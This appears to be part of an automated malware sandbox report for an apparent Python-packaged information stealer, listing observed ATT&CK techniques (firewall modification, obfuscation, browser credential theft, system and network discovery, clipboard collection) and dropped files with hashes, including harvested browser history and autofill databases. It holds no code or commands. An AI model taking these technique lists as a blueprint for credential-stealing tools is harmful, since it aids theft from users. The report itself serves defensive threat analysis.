
                              2
                              T1564

                              Hidden Files and Directories

                              2
                              T1564.001

                              Impair Defenses

                              1
                              T1562

                              Disable or Modify System Firewall

                              1
                              T1562.004

                              Obfuscated Files or Information

                              1
                              T1027

                              Command Obfuscation

                              1
                              T1027.010

                              Credential Access

                              Credentials from Password Stores

                              1
                              T1555

                              Credentials from Web Browsers

                              1
                              T1555.003

                              Unsecured Credentials

                              3
                              T1552

                              Credentials In Files

                              3
                              T1552.001

                              Discovery

                              Browser Information Discovery

                              1
                              T1217

                              Network Service Discovery

                              1
                              T1046

                              Peripheral Device Discovery

                              1
                              T1120

                              Permission Groups Discovery

                              1
                              T1069

                              Local Groups

                              1
                              T1069.001

                              Process Discovery

                              1
                              T1057

                              Query Registry

                              1
                              T1012

                              System Information Discovery

                              4
                              T1082

                              System Network Configuration Discovery

                              3
                              T1016

                              Internet Connection Discovery

                              1
                              T1016.001

                              Wi-Fi Discovery

                              1
                              T1016.002

                              System Network Connections Discovery

                              1
                              T1049

                              Lateral Movement

                              Collection

                              Clipboard Data

                              1
                              T1115

                              Data from Local System

                              3
                              T1005

                              Command and Control

                              Web Service

                              1
                              T1102

                              Exfiltration

                              Impact

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              History.txt
                              • Path C:\Users\Admin\AppData\Local\Temp\11111111-1111-1111-1111-111111111111\Browsers\Firefox\History.txt
                              • Size 1014B
                              • SHA256 b64615d2378939acda58ea0c02c6db13f8522a5b57d605792b141adf562a1fe9
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              network_info.txt
                              • Path C:\Users\Admin\AppData\Local\Temp\11111111-1111-1111-1111-111111111111\network_info.txt
                              • Size 263B
                              • SHA256 fc0ccb9f52fa9cbbe95c483a6679019f81bca649cb97a64918de5ffc707ef622
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              process_info.txt
                              • Path C:\Users\Admin\AppData\Local\Temp\11111111-1111-1111-1111-111111111111\process_info.txt
                              • Size 12KB
                              • SHA256 efe7bc3b17756c0c59da861443df65a88cf8333c1c1724c1125a618f636c9edf
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              system_info.txt
                              • Path C:\Users\Admin\AppData\Local\Temp\11111111-1111-1111-1111-111111111111\system_info.txt
                              • Size 115KB
                              • SHA256 a9d4f9591c224076317d666d3caeb310adaacacd102420cd1781ce46300b2ef9
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              AutofillData.db
                              • Path C:\Users\Admin\AppData\Local\Temp\AutofillData.db
                              • Size 224KB
                              • SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              AutofillData.db
                              • Path C:\Users\Admin\AppData\Local\Temp\AutofillData.db
                              • Size 138KB
                              • SHA256 764abd0a43cdc4caa4331ecc8010d715aac367586b9ff4e47ab91711edb4bd93
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              DownloadData.db
                              • Path C:\Users\Admin\AppData\Local\Temp\DownloadData.db
                              • Size 204KB
                              • SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              DownloadData.db
                              • Path C:\Users\Admin\AppData\Local\Temp\DownloadData.db
                              • Size 160KB
                              • SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              VCRUNTIME140.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\VCRUNTIME140.dll
                              • Size 96KB
                              • SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _asyncio.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_asyncio.pyd
                              • Size 34KB
                              • SHA256 fa5a1e7031de5849ab2ab5a177e366b41e1df6bbd90c8d2418033a01c740771f
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _brotli.cp311-win_amd64.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_brotli.cp311-win_amd64.pyd
                              • Size 274KB
                              • SHA256 c0a4f520f06425500d07ead20fb8c9aaff4b9efb9c771725bbd94bc018cc4dfa
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _bz2.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_bz2.pyd
                              • Size 46KB
                              • SHA256 307359f1b2552b60839385eb63d74cbfe75cd5efdb4e7cd0bb7d296fa67d8a87
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _cffi_backend.cp311-win_amd64.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_cffi_backend.cp311-win_amd64.pyd
                              • Size 71KB
                              • SHA256 fda255664cbf627cb6a9cd327daf4e3eb06f4f0707ed2615e86e2e99b422ad0b
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _ctypes.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_ctypes.pyd
                              • Size 57KB
                              • SHA256 9925ab71a4d74ce0ccc036034d422782395dd496472bd2d7b6d617f4d6ddc1f9
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _decimal.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_decimal.pyd
                              • Size 104KB
                              • SHA256 6b5fe2dea13b84e40b0278d1702aa29e9e2091f9dc09b64bbff5fd419a604c3c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _hashlib.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_hashlib.pyd
                              • Size 33KB
                              • SHA256 f404bb8371618bbd782201f092a3bcd7a96d3c143787ebea1d8d86ded1f4b3b8
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _lzma.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_lzma.pyd
                              • Size 84KB
                              • SHA256 032b1a139adcff84426b6e156f9987b501ad42ecfb18170b10fb54da0157392e
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _multiprocessing.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_multiprocessing.pyd
                              • Size 25KB
                              • SHA256 45bfbab1d2373cf7a8af19e5887579b8a306b3ad0c4f57e8f666339177f1f807
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _overlapped.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_overlapped.pyd
                              • Size 30KB
                              • SHA256 11879a429c996fee8be891af2bec7d00f966593f1e01ca0a60bd2005feb4176f
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _queue.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_queue.pyd
                              • Size 24KB
                              • SHA256 ac7972502144e9e01e53001e8eec3fc9ab063564678b784d024da2036ba7384d
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _socket.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_socket.pyd
                              • Size 41KB
                              • SHA256 7efe25284a4663df9458603bf0988b0f47c7dcf56119e3e853e6bda80831a383
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _sqlite3.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_sqlite3.pyd
                              • Size 54KB
                              • SHA256 67649e1e8acd348834efb2c927ab6a7599cf76b2c0c0a50b137b3be89c482e29
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _ssl.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_ssl.pyd
                              • Size 60KB
                              • SHA256 50404a6a3de89497e9a1a03ff3df65c6028125586dced1a006d2abb9009a9892
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _uuid.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\_uuid.pyd
                              • Size 21KB
                              • SHA256 9534cb9c997a17f0004fb70116e0141bdd516373b37bbd526d91ad080daa3a2b
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _http_parser.cp311-win_amd64.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\aiohttp\_http_parser.cp311-win_amd64.pyd
                              • Size 75KB
                              • SHA256 abeb6ba288eee3ac8205f57ef5ccb9b19d3d7c6defc7d775aee7726d41a9dab4
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _http_writer.cp311-win_amd64.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\aiohttp\_http_writer.cp311-win_amd64.pyd
                              • Size 24KB
                              • SHA256 d76bffeefa7641765a0968330d9a4b6e87c17a8513b398eeb4bd885b61ba83dc
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              mask.cp311-win_amd64.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\aiohttp\_websocket\mask.cp311-win_amd64.pyd
                              • Size 19KB
                              • SHA256 dd44d5e3508f3c321026ce4d8f88bcd3bfa2e4aeedd1240faa0997af6bf554d4
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              reader_c.cp311-win_amd64.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\aiohttp\_websocket\reader_c.cp311-win_amd64.pyd
                              • Size 58KB
                              • SHA256 bfaa9245f0dc43df206c75f0b888113ec1eb837097ec3ae3f82330ab1bdf56d3
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              base_library.zip
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\base_library.zip
                              • Size 1.4MB
                              • SHA256 4d7da3334fdf10da847fc719f8363f4661049efed470a8720367b8aa76a0302a
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _frozenlist.cp311-win_amd64.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\frozenlist\_frozenlist.cp311-win_amd64.pyd
                              • Size 30KB
                              • SHA256 5aa2a44f0319080e4dc21e0eedc41b2be1f4c377e4b6799ebff2de9ca1a558cd
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              libcrypto-1_1.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\libcrypto-1_1.dll
                              • Size 1.1MB
                              • SHA256 11b89cc5531b2a6b89fbbb406ebe8fb01f0bf789e672131b0354e10f9e091307
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              libffi-8.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\libffi-8.dll
                              • Size 24KB
                              • SHA256 4b43c1e42f6050ddb8e184c8ec4fb1de4a6001e068ece8e6ad47de0cc9fd4a2d
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              libssl-1_1.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\libssl-1_1.dll
                              • Size 203KB
                              • SHA256 4150ee603ad2da7a6cb6a895cb5bd928e3a99af7e73c604de1fc224e0809fdb0
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _multidict.cp311-win_amd64.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\multidict\_multidict.cp311-win_amd64.pyd
                              • Size 32KB
                              • SHA256 b2be250e39a008b266a607ad50f1f689f7ddaf9e5090b87bb1d065d06d78f7aa
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _helpers_c.cp311-win_amd64.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\propcache\_helpers_c.cp311-win_amd64.pyd
                              • Size 28KB
                              • SHA256 5b7f798d050a6d7a7ba9a67099596e743e87c0be5c2a36600a679927c652bf79
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              pyexpat.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\pyexpat.pyd
                              • Size 86KB
                              • SHA256 b399bff10812e9ea2c9800f74cb0e5002f9d9379baf1a3cef9d438caca35dc92
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              python3.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\python3.dll
                              • Size 64KB
                              • SHA256 4055d1b9e553b78c244143ab6b48151604003b39a9bf54879dee9175455c1281
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              python311.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\python311.dll
                              • Size 1.6MB
                              • SHA256 b1aac1e461174bbae952434e4dac092590d72b9832a04457c94bd9bb7ee8ad79
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              select.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\select.pyd
                              • Size 24KB
                              • SHA256 7cbd4339285d145b422afa280cee685258bc659806be9cf8b334805bc45b29c9
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              sqlite3.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\sqlite3.dll
                              • Size 608KB
                              • SHA256 f5dd29e1e99cf8967f7f81487dc624714dcbec79c1630f929d5507fc95cbfad7
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              unicodedata.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\unicodedata.pyd
                              • Size 293KB
                              • SHA256 118c31faa930f2849a14c3133df36420a5832114df90d77b09cde0ad5f96f33a
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              _quoting_c.cp311-win_amd64.pyd
                              • Path C:\Users\Admin\AppData\Local\Temp\_MEI32602\yarl\_quoting_c.cp311-win_amd64.pyd
                              • Size 37KB
                              • SHA256 12a3ac47126e3f798dd92dbf46190072490c17ea5062ccb70ef335556c3fad26
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              __PSScriptPolicyTest_1r24a4h1.ozv.ps1
                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1r24a4h1.ozv.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              memory/1856-223-0x000001F8F88B0000-0x000001F8F88B8000-memory.dmp
                              Download

                              memory/4156-128-0x00007FF872690000-0x00007FF8726AE000-memory.dmp
                              Download

                              memory/4156-119-0x00007FF872EC0000-0x00007FF872EEE000-memory.dmp
                              Download

                              memory/4156-125-0x00007FF872E60000-0x00007FF872E7C000-memory.dmp
                              Download

                              memory/4156-136-0x00007FF8723E0000-0x00007FF8723F8000-memory.dmp
                              Download

                              memory/4156-135-0x00007FF872620000-0x00007FF87262A000-memory.dmp
                              Download

                              memory/4156-134-0x00007FF872420000-0x00007FF87244D000-memory.dmp
                              Download

                              memory/4156-133-0x00007FF872630000-0x00007FF872641000-memory.dmp
                              Download

                              memory/4156-132-0x00007FF872450000-0x00007FF872497000-memory.dmp
                              Download

                              memory/4156-131-0x00007FF872650000-0x00007FF872668000-memory.dmp
                              Download

                              memory/4156-130-0x00007FF865410000-0x00007FF8654DF000-memory.dmp
                              Download

                              memory/4156-129-0x00007FF872670000-0x00007FF872689000-memory.dmp
                              Download

                              memory/4156-127-0x00007FF8724A0000-0x00007FF8725BC000-memory.dmp
                              Download

                              memory/4156-122-0x0000026CC40E0000-0x0000026CC4455000-memory.dmp
                              Download

                              memory/4156-124-0x00007FF872E80000-0x00007FF872E92000-memory.dmp
                              Download

                              memory/4156-123-0x00007FF872EA0000-0x00007FF872EB5000-memory.dmp
                              Download

                              memory/4156-140-0x00007FF873040000-0x00007FF873059000-memory.dmp
                              Download

                              memory/4156-139-0x00007FF873060000-0x00007FF87308D000-memory.dmp
                              Download

                              memory/4156-138-0x00007FF864B20000-0x00007FF864B57000-memory.dmp
                              Download

                              memory/4156-137-0x00007FF864B60000-0x00007FF865404000-memory.dmp
                              Download

                              memory/4156-80-0x00007FF873090000-0x00007FF8730B4000-memory.dmp
                              Download

                              memory/4156-81-0x00007FF8777A0000-0x00007FF8777AF000-memory.dmp
                              Download

                              memory/4156-166-0x00007FF8649C0000-0x00007FF8649CD000-memory.dmp
                              Download

                              memory/4156-116-0x00007FF877430000-0x00007FF87743D000-memory.dmp
                              Download

                              memory/4156-117-0x00007FF873010000-0x00007FF873033000-memory.dmp
                              Download

                              memory/4156-118-0x00007FF872BF0000-0x00007FF872D63000-memory.dmp
                              Download

                              memory/4156-256-0x00007FF8656A0000-0x00007FF865A15000-memory.dmp
                              Download

                              memory/4156-177-0x00007FF865C70000-0x00007FF866258000-memory.dmp
                              Download

                              memory/4156-178-0x00007FF873090000-0x00007FF8730B4000-memory.dmp
                              Download

                              memory/4156-187-0x00007FF872BF0000-0x00007FF872D63000-memory.dmp
                              Download

                              memory/4156-200-0x00007FF872450000-0x00007FF872497000-memory.dmp
                              Download

                              memory/4156-199-0x00007FF872650000-0x00007FF872668000-memory.dmp
                              Download

                              memory/4156-193-0x00007FF872E60000-0x00007FF872E7C000-memory.dmp
                              Download

                              memory/4156-191-0x00007FF872EA0000-0x00007FF872EB5000-memory.dmp
                              Download

                              memory/4156-179-0x00007FF865C70000-0x00007FF866258000-memory.dmp
                              Download

                              memory/4156-208-0x0000026CC40E0000-0x0000026CC4455000-memory.dmp
                              Download

                              memory/4156-126-0x00007FF872E40000-0x00007FF872E54000-memory.dmp
                              Download

                              memory/4156-120-0x00007FF8726B0000-0x00007FF872768000-memory.dmp
                              Download

                              memory/4156-121-0x00007FF8656A0000-0x00007FF865A15000-memory.dmp
                              Download

                              memory/4156-84-0x00007FF873EF0000-0x00007FF873F09000-memory.dmp
                              Download

                              memory/4156-50-0x00007FF865C70000-0x00007FF866258000-memory.dmp
                              Download

                              memory/4156-245-0x00007FF865C70000-0x00007FF866258000-memory.dmp
                              Download

                              memory/4156-283-0x00007FF8726B0000-0x00007FF872768000-memory.dmp
                              Download

                              memory/4156-282-0x00007FF872EC0000-0x00007FF872EEE000-memory.dmp
                              Download

                              memory/4156-281-0x00007FF872BF0000-0x00007FF872D63000-memory.dmp
                              Download

                              memory/4156-280-0x00007FF873010000-0x00007FF873033000-memory.dmp
                              Download

                              memory/4156-279-0x00007FF877430000-0x00007FF87743D000-memory.dmp
                              Download

                              memory/4156-278-0x00007FF873040000-0x00007FF873059000-memory.dmp
                              Download

                              memory/4156-277-0x00007FF873EF0000-0x00007FF873F09000-memory.dmp
                              Download

                              memory/4156-276-0x00007FF8777A0000-0x00007FF8777AF000-memory.dmp
                              Download

                              memory/4156-275-0x00007FF873090000-0x00007FF8730B4000-memory.dmp
                              Download

                              memory/4156-274-0x00007FF873060000-0x00007FF87308D000-memory.dmp
                              Download

                              memory/4156-273-0x00007FF8649C0000-0x00007FF8649CD000-memory.dmp
                              Download

                              memory/4156-272-0x00007FF864B20000-0x00007FF864B57000-memory.dmp
                              Download

                              memory/4156-271-0x00007FF864B60000-0x00007FF865404000-memory.dmp
                              Download

                              memory/4156-270-0x00007FF8723E0000-0x00007FF8723F8000-memory.dmp
                              Download

                              memory/4156-269-0x00007FF872620000-0x00007FF87262A000-memory.dmp
                              Download

                              memory/4156-268-0x00007FF872420000-0x00007FF87244D000-memory.dmp
                              Download

                              memory/4156-267-0x00007FF872630000-0x00007FF872641000-memory.dmp
                              Download

                              memory/4156-266-0x00007FF872450000-0x00007FF872497000-memory.dmp
                              Download

                              memory/4156-265-0x00007FF872650000-0x00007FF872668000-memory.dmp
                              Download

                              memory/4156-264-0x00007FF865410000-0x00007FF8654DF000-memory.dmp
                              Download

                              memory/4156-263-0x00007FF872670000-0x00007FF872689000-memory.dmp
                              Download

                              memory/4156-262-0x00007FF872690000-0x00007FF8726AE000-memory.dmp
                              Download

                              memory/4156-261-0x00007FF8724A0000-0x00007FF8725BC000-memory.dmp
                              Download

                              memory/4156-260-0x00007FF872E40000-0x00007FF872E54000-memory.dmp
                              Download

                              memory/4156-259-0x00007FF872E60000-0x00007FF872E7C000-memory.dmp
                              Download

                              memory/4156-258-0x00007FF872E80000-0x00007FF872E92000-memory.dmp
                              Download

                              memory/4156-257-0x00007FF872EA0000-0x00007FF872EB5000-memory.dmp
                              Download

                              memory/4664-174-0x00000212A28F0000-0x00000212A2912000-memory.dmp
                              Download